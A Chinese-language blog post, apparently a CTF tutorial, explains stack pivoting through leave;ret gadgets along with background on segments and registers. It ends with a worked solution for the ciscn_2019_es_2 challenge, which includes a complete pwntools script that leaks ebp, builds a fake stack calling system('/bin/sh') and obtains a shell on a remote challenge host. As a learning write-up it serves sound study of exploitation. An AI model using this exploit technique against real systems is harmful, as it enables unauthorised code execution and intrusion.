[PWN]——栈迁移及部分栈基础

2 篇文章 0 订阅

栈迁移用途及原理:

用途:通常的函数栈剩余空间是足够放置一些恶意指令的,但也有少数极端情况,例如仅能容纳一个  ret与一个  ebp。此时,一般的栈溢出攻击方法将由于空间太小而不再适用。

原理:如果将栈上 ret 部分覆盖为另一组  leave  ret指令(gadget)的地址,即最终程序退出时会执行两次  leave 指令,一次  ret 指令。由此,当  pop ebp 被第一次执行后, eip 将指向又一条  mov esp, ebp指令的地址,而此时  ebp 寄存器的内容已变为了第一次  pop ebp 时,被篡改过的栈上  ebp 的数据。这样, esp 就会到了另外的一处内存空间,从而整个函数的栈空间也完成了「迁移」。再使用eip进行执行操作进而提权。

还有另一种理解:leave指令即为mov esp ebp;pop ebp先将ebp赋给esp,此时esp与ebp位于了一个地址,你可以现在把它们指向的那个地址,即当成栈顶又可以当成是栈底。然后pop ebp,将栈顶的内容弹入ebp(此时栈顶的内容也就是ebp的内容,也就是说现在把ebp的内容赋给了ebp)

【本质就是ebp和esp的移动使栈上有我们需要的提权内容及利用eip进行执行操作】

leave=mov esp,ebp
pop ebp

【将pop ebp后esp将指向栈中上层函数返回地址(即:都将ebp pop 了,esp当前指的为空所以esp要移动一个栈帧)

如图所示:

ret=pop eip

重点:payload发送后栈上有了内容,再执行leave_ret,将ebp指向能够执行shell段位置(如下面例题指向变量aaaa所在栈地址)

背景介绍:

        栈由高到低,自顶向下增长,ebp指向栈底   【减(push)即指针向高移,加(pop)即指针向低移】。栈溢出能使我们覆盖栈上某些区域的值,甚至是当前函数的返回地址  ret  ;一旦  ret  覆盖为某个奇怪的值,例如  0xdeadbeaf,当函数结束恢复现场,即  eip 指向  ret 时,程序将会跳转到内存中的  0xdeadbeaf 处。此时,内核会立即告诉我们“SIGSEV”,即常见的段错误(Segment Fault)。注意:函数传参时从右往左。

段(segment)和节(section):

代码段(Text segment)包含了代码与只读数据

.text节# 实行用户所定义的功能

.rodata节 # 只读数据

.hash节

.dynsym节

.dynstr节

.plt节#解析动态函数的实际地址【这里的实际地址是保存在下面数据段中的.got.plt节

.rel.got节

数据段(Data segment)包含了可读可写数据

.data节

.dynamic节

.got节

.got.plt节#用来保存上面.plt节里代码解析到的实际地址

.bss节#保存没有初始化的变量

...

栈段(Stack segment)

一个包含多个

段试图用于进程内存区域的rwx权限划分

部分寄存器的功能:

•RIP #相当与上面所讲的PC

•存放当前执行的指令的地址

RSP

•存放当前栈帧的栈顶地址

•RBP

•存放当前栈帧的栈底地址

•RAX

•通用寄存器。存放函数返回值

栈迁移中栈内具体执行过程:

 开始执行第一个leave此时mov esp ebp让两个指针处于同一位置,现在还是正常运行,接着执行pop ebp,因为此时ebp的内容被修改成了要跳转的地址此时执行pop ebp,ebp并没有弹到它本应该去的地方【正常情况下,ebp里装的内容,就是它接下来执行pop ebp要去的地方】,而是弹到了我们修改的那个迁移后的地址,接着执行了pop eip,eip里放的又是leave——ret的地址(因为此时是把返回地址弹给eip,这个返回地址我们给覆盖成leave_ret的地址。结果又执行了leave(现在执行第二个leave),此时是栈迁移的核心部分,第二次mov esp ebp,ebp赋给了esp,此时esp挪到了ebp的位置,现在的ebp已经被修改到了我们迁移后的地址,因此现在esp也到了迁移后的地址,接着pop ebp,把这个栈顶的内容弹给ebp,esp指向了下一个内存单元,此时我们只需要将这个内存单元放入system函数的地址,最后执行了pop eip,此时system函数进入了eip中,即可GetShell。具体看下图:

                                                              第一次 leave_ret:

                                                           第二次 leave_ret:

注意:栈内的内容都是通过payload发送过去的,最后的两个aaaa仅仅是起到了一个填充的效果。我们想要实现栈迁移,就必须执行两个leave;ret,main函数正常结束,只有一个level;ret,因此我们在这里必须要它的返回地址写成leave;ret地址,以来进行第二次leave;ret。

下面做一道经典例题:ciscn_2019_es_2

可以看到是32位开启了NX保护,用IDA打开:

发现system,但这是坑,只输出flag,所以看伪函数:

发现read()函数读入有限制,因为所给空间不够所以并不能完美构造ROP链,此时我们想到栈迁移。

首先我们需要得到原ebp地址,所以利用printf函数特性:printf 这一输出函数,该函数在未遇到终止符  '\0' 时会一直输出。利用该特性可帮助我们泄露出栈上的地址,从而能计算出要劫持到栈上的准确地址。

from pwn import *

p = remote("node4.buuoj.cn", 27576)

system_addr = 0x08048400
leave_ret = 0x080484b8

payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B\n")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))

payload2 = b'aaaa' 
payload2 += p32(system_addr)
payload2 += b'bbbb' # fake stack ebp
payload2 += p32(original_ebp - 0x28) # addr of binsh
payload2 += b'/bin/sh\x00' # at ebp-0x28
payload2 = payload2.ljust(0x28, b'p')

payload2 += p32(original_ebp - 0x38) # hijack ebp ,-0x38 is the aaaa
payload2 += p32(leave_ret) # new leave ret

p.sendline(payload2)
p.interactive()

总结:

栈迁移能成功实施的核心原因就是,程序中存在着能让  ebp 修改  esp 内容的gadget,如示例中的  leave ret 指令。只有这样,篡改  ebp 后才能影响到  esp 。换言之,任何使用栈上数据修改  esp 的行为都是十分危险的,而在栈迁移中,恰好就用能被轻易修改的  ebp 实现了对  esp 的篡改。

如果有错误请大佬们在评论中指出,若有不懂的地方也可以留言,我会回复的。

本文制作不易,仅供学习使用

  • 17
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值